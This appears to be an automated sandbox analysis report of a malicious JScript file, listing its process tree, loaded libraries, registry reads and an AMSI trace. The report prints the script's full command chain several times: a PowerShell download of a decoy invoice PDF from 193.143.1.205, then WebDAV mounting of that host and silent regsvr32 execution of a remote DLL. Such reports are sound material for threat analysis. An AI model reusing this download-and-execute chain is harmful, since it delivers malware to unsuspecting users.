File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t4sqvfa3.fhn.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1460324287242413198.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1636,i,1026210736153619432,10130516545325452977,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1636,i,1026210736153619432,10130516545325452977,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8280.js.csv");ITextStream.WriteLine(" entry:7735 f:medumfu");ITextStream.WriteLine(" exec:2 f:medumfu");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
